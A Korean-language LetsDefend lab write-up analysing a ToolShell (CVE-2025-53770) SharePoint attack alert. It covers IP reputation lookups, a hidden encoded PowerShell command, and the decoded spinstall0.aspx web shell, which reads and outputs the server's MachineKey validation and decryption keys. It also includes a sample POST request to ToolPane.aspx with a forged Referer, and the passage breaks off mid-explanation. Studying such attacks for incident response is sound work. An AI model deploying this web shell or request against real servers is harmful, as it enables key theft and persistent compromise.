LetsDefend 랩에서 CVE-2025-53770 (ToolShell)을 익스플로잇하는 단계별 가이드로, RCE, 웹 셸 배포, 침해 대응 분석을 다룹니다.
TL;DR 야, 이 LetsDefend 랩에서는 ToolShell(CVE-2025-53770)이라는 SharePoint 제로데이를 파고들었어. 기본적으로 악성 POST 요청이 인증을 우회하고, PowerShell을 실행하여 MachineKeySection 키를 탈취하고, payload.exe를 컴파일한 후 웹 셸(spinstall0.aspx)을 드롭하는 실제 공격을 모방했지. 모든 것을 기록하고, 행동을 분석하고, 호스트를 격리했어. 이 README는 공격, 내 단계, 그리고 얻은 교훈을 다루고 있어.
랩 개요
사용된 도구:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend 로그 관리
LetsDefend 엔드포인트 보안
LetsDefend 위협 인텔리전스


EventID : 320
Event Time : 2025년 7월 22일 오후 01:07
Rule : SOC342 - CVE‑2025‑53770 SharePoint ToolShell 인증 우회 및 RCE
Level : 보안 분석가
Hostname : SharePoint01
Source IP Address : 107.191.58.76
Destination IP Address : 172.16.20.17
HTTP 요청 방식 : POST
요청 URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
경보 발생 이유 : 대량 페이로드와 위조된 referer를 동반한 ToolPane.aspx 대상의 의심스러운 인증되지 않은 POST 요청으로, CVE-2025-53770 악용을 암시함.
장치 조치 : 허용됨
개요 2025년 7월 22일, 보안 모니터링 시스템이 SharePoint01이라는 온프레미스 SharePoint 서버 인스턴스를 대상으로 하는 치명적인 제로데이 공격을 탐지했습니다.
CVE 세부 정보:
CISA KEV 카탈로그: 2025년 7월 20일 항목 게시됨
공격 벡터: /ToolPane.aspx 엔드포인트로의 POST 요청, 위조된 referer 헤더, 대량의 악성 페이로드
출처: IP 107.191.58.76, Vultr Holdings, LLC, 미국
SharePoint에 관하여 Microsoft SharePoint는 기업 협업 및 문서 관리의 중추입니다. 기본적으로 파일, 워크플로, 내부 앱을 위한 안전하고 체계적인 클라우드 같은 공간입니다.
핵심 용도:
문서 관리: 버전 관리, 감사 추적, 파일 제어
협업: 여러 사용자가 동시에 동일한 문서 편집
내부 웹 포털: 뉴스, 업데이트, 인사 정보, 정책
자동화된 워크플로: 승인, 양식, 알림
통합: Teams, Outlook, Office 제품군, Power BI와 긴밀하게 연결됨
보안 고려 사항:
인증: AD 또는 SSO
암호화: 저장 데이터 및 전송 데이터
웹 파트 및 레이아웃: 잘못 구성될 경우 악용 가능
패치 관리: 제로데이 공격 방지를 위해 중요
CVE-2025-53770 (ToolShell이라고도 함)은 실제 환경에서 악용된 SharePoint 제로데이입니다. 이는 온프레미스 Microsoft SharePoint 서버에서 인증되지 않은 원격 코드 실행(RCE)을 허용하는 치명적인 역직렬화 취약점입니다. 다른 SharePoint 결함(CVE-2025-49704 및 CVE-2025-49706)과 연계되어 시스템을 완전히 손상시킵니다. CVSS 점수는 9.8로, 치명적임을 의미합니다.
위조된 referer 헤더를 사용하여 ToolPane.aspx 엔드포인트를 통해 spinstall0.aspx와 같은 악성 웹 셸을 업로드하여 인증을 우회합니다.
SharePoint 구성에서 중요한 MachineKey 값을 추출하여 지속적인 액세스를 위한 신뢰할 수 있는 ViewState 페이로드를 생성합니다.
그리고 나중에 랜섬웨어(예: "Warlock" 변종)를 배포하거나 자격 증명을 유출하고 백도어를 설정합니다.
최초 공개: 2025년 7월 19일 (Microsoft 블로그)
패치 출시: 2025년 7월 20일–21일
CISA KEV 카탈로그 등록: 2025년 7월 20일
발신자의 IP 주소(Source IP Address)를 VirusTotal에서 분석했습니다.
Source IP Address : 107.191.58.76

이것만으로도 IP가 악성임을 알 수 있었습니다.
이제 AbuseIPDB를 사용하여 IP의 위치를 검색해야 합니다.

다음과 같은 결과를 얻었습니다.
ISP Vultr Holdings, LLC
Usage Type - 데이터 센터/웹 호스팅/트랜짓
ASN - AS20473
Hostname(s) - 107.191.58.76.vultrusercontent.com
Domain Name - vultr.com
Country - 미국
City - 캘리포니아주 로스앤젤레스
해킹, 무차별 대입, 웹 애플리케이션 공격, 포트 스캔, DNS 포이즈닝으로 알려진 IP
주니어 분석가로서 이 문제를 해결하는 방법 먼저 엔드포인트 보안에서 "SharePoint01"이라는 호스트를 검색했습니다.

호스트를 찾은 후 터미널 기록으로 이동하여 명령줄을 발견했습니다.

명령에서 무슨 일이 벌어지고 있나요?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ 시스템 디렉토리에서 PowerShell을 직접 실행합니다.
-nop
→ 프로필 미사용 — 탐지나 간섭을 피하기 위해 PowerShell 프로필 스크립트를 무시합니다.
-w hidden
→ 숨겨진 창으로 실행되어 사용자가 볼 수 없습니다.
-e
이걸 디코딩해 봅시다.
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
1단계: 정찰 및 페이로드 캡처
/ToolPane.aspx로의 POST 요청 캡처:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
방법: 인증을 우회하는 /ToolPane.aspx로의 POST 요청
페이로드: 대량의 난독화된 Base64 인코딩 PowerShell 스크립트
Referer 헤더: 출처를 숨기기 위해 위조됨
2단계: 실행 및 악용:
Base64 디코더에서 스크립트/페이로드를 디코딩했습니다.
base64로 디코딩하여 다음을 얻었습니다.
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

위 스크립트가 무엇을 하는지 설명하겠습니다.
임포트:
-System.Diagnostics
-System.IO
⦁ 그런 다음 PowerShell 내에서 C# 인라인 스크립트를 실행합니다: